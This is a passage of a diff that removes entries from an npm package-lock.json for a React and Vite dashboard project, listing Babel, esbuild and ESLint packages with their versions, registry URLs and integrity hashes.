"name": "dashboard", - "version": "0.2.0", - "dependencies": { - "@tanstack/react-query": "^5.90.12", - "axios": "^1.13.2", - "clsx": "^2.1.1", - "lucide-react": "^0.561.0", - "react": "^19.2.0", - "react-dom": "^19.2.0", - "react-router-dom": "^7.10.1", - "recharts": "^3.6.0", - "tailwind-merge": "^3.4.0" - }, - "devDependencies": { - "@eslint/js": "^9.39.1", - "@tailwindcss/vite": "^4.1.18", - "@types/node": "^24.10.1", - "@types/react": "^19.2.5", - "@types/react-dom": "^19.2.3", - "@vitejs/plugin-react": "^5.1.1", - "autoprefixer": "^10.4.22", - "eslint": "^9.39.1", - "eslint-plugin-react-hooks": "^7.0.1", - "eslint-plugin-react-refresh": "^0.4.24", - "globals": "^16.5.0", - "postcss": "^8.5.6", - "tailwindcss": "^4.1.18", - "typescript": "~5.9.3", - "typescript-eslint": "^8.46.4", - "vite": "^7.2.4" - } - }, - "node_modules/@babel/code-frame": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz", - "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-validator-identifier": "^7.27.1", - "js-tokens": "^4.0.0", - "picocolors": "^1.1.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/compat-data": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz", - "integrity": "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/core": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.5.tgz", - "integrity": "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "@babel/code-frame": "^7.27.1", - "@babel/generator": "^7.28.5", - "@babel/helper-compilation-targets": "^7.27.2", - "@babel/helper-module-transforms": "^7.28.3", - "@babel/helpers": "^7.28.4", - "@babel/parser": "^7.28.5", - "@babel/template": "^7.27.2", - "@babel/traverse": "^7.28.5", - "@babel/types": "^7.28.5", - "@jridgewell/remapping": "^2.3.5", - "convert-source-map": "^2.0.0", - "debug": "^4.1.0", - "gensync": "^1.0.0-beta.2", - "json5": "^2.2.3", - "semver": "^6.3.1" - }, - "engines": { - "node": ">=6.9.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/babel" - } - }, - "node_modules/@babel/generator": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.5.tgz", - "integrity": "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.28.5", - "@babel/types": "^7.28.5", - "@jridgewell/gen-mapping": "^0.3.12", - "@jridgewell/trace-mapping": "^0.3.28", - "jsesc": "^3.0.2" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-compilation-targets": { - "version": "7.27.2", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz", - "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/compat-data": "^7.27.2", - "@babel/helper-validator-option": "^7.27.1", - "browserslist": "^4.24.0", - "lru-cache": "^5.1.1", - "semver": "^6.3.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-globals": { - "version": "7.28.0", - "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", - "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-module-imports": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz", - "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/traverse": "^7.27.1", - "@babel/types": "^7.27.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-module-transforms": { - "version": "7.28.3", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz", - "integrity": "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-module-imports": "^7.27.1", - "@babel/helper-validator-identifier": "^7.27.1", - "@babel/traverse": "^7.28.3" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0" - } - }, - "node_modules/@babel/helper-plugin-utils": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz", - "integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-string-parser": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", - "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-validator-identifier": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", - "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-validator-option": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", - "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helpers": { - "version": "7.28.4", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.4.tgz", - "integrity": "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/template": "^7.27.2", - "@babel/types": "^7.28.4" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/parser": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.5.tgz", - "integrity": "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/types": "^7.28.5" - }, - "bin": { - "parser": "bin/babel-parser.js" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@babel/plugin-transform-react-jsx-self": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", - "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-plugin-utils": "^7.27.1" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-react-jsx-source": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", - "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-plugin-utils": "^7.27.1" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/template": { - "version": "7.27.2", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", - "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.27.1", - "@babel/parser": "^7.27.2", - "@babel/types": "^7.27.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/traverse": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.5.tgz", - "integrity": "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.27.1", - "@babel/generator": "^7.28.5", - "@babel/helper-globals": "^7.28.0", - "@babel/parser": "^7.28.5", - "@babel/template": "^7.27.2", - "@babel/types": "^7.28.5", - "debug": "^4.3.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/types": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.5.tgz", - "integrity": "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-string-parser": "^7.27.1", - "@babel/helper-validator-identifier": "^7.28.5" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@esbuild/aix-ppc64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", - "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", - "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", - "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", - "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", - "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", - "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", - "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", - "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", - "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", - "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ia32": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", - "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-loong64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", - "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-mips64el": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", - "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", - "cpu": [ - "mips64el" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ppc64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", - "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-riscv64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", - "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-s390x": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", - "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", - "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", - "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", - "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", - "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", - "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openharmony-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", - "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/sunos-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", - "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", - "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-ia32": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", - "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", - "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@eslint-community/eslint-utils": { - "version": "4.9.0", - "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.0.tgz", - "integrity": "sha512-ayVFHdtZ+hsq1t2Dy24wCmGXGe4q9Gu3smhLYALJrr473ZH27MsnSL+LKUlimp4BWJqMDMLmPpx/Q9R3OAlL4g==", - "dev": true, - "license": "MIT", - "dependencies": { - "eslint-visitor-keys": "^3.4.3" - }, - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - }, - "peerDependencies": { - "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" - } - }, - "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { - "version": "3.4.3", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", - "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/@eslint-community/regexpp": { - "version": "4.12.2", - "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", - "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^12.0.0 || ^14.0.0 || >=16.0.0" - } - }, - "node_modules/@eslint/config-array": { - "version": "0.21.1", - "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.1.tgz", - "integrity": "sha512-aw1gNayWpdI/jSYVgzN5pL0cfzU02GT3NBpeT/DXbx1/1x7ZKxFPd9bwrzygx/qiwIQiJ1sw/zD8qY/kRvlGHA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/object-schema": "^2.1.7", - "debug": "^4.3.1", - "minimatch": "^3.1.2" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/config-helpers": { - "version": "0.4.2", - "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz", - "integrity": "sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/core": "^0.17.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/core": { - "version": "0.17.0", - "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz", - "integrity": "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@types/json-schema": "^7.0.15" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/eslintrc": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.3.tgz", - "integrity": "sha512-Kr+LPIUVKz2qkx1HAMH8q1q6azbqBAsXJUxBl/ODDuVPX45Z9DfwB8tPjTi6nNZ8BuM3nbJxC5zCAg5elnBUTQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "ajv": "^6.12.4", - "debug": "^4.3.2", - "espree": "^10.0.1", - "globals": "^14.0.0", - "ignore": "^5.2.0", - "import-fresh": "^3.2.1", - "js-yaml": "^4.1.1", - "minimatch": "^3.1.2", - "strip-json-comments": "^3.1.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/@eslint/eslintrc/node_modules/globals": { - "version": "14.0.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/@eslint/js": { - "version": "9.39.2", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.2.tgz", - "integrity": "sha512-q1mjIoW1VX4IvSocvM/vbTiveKC4k9eLrajNEuSsmjymSDEbpGddtpfOoN7YGAqBK3NG+uqo8ia4PDTt8buCYA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://eslint.org/donate" - } - }, - "node_modules/@eslint/object-schema": { - "version": "2.1.7", - "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz", - "integrity": 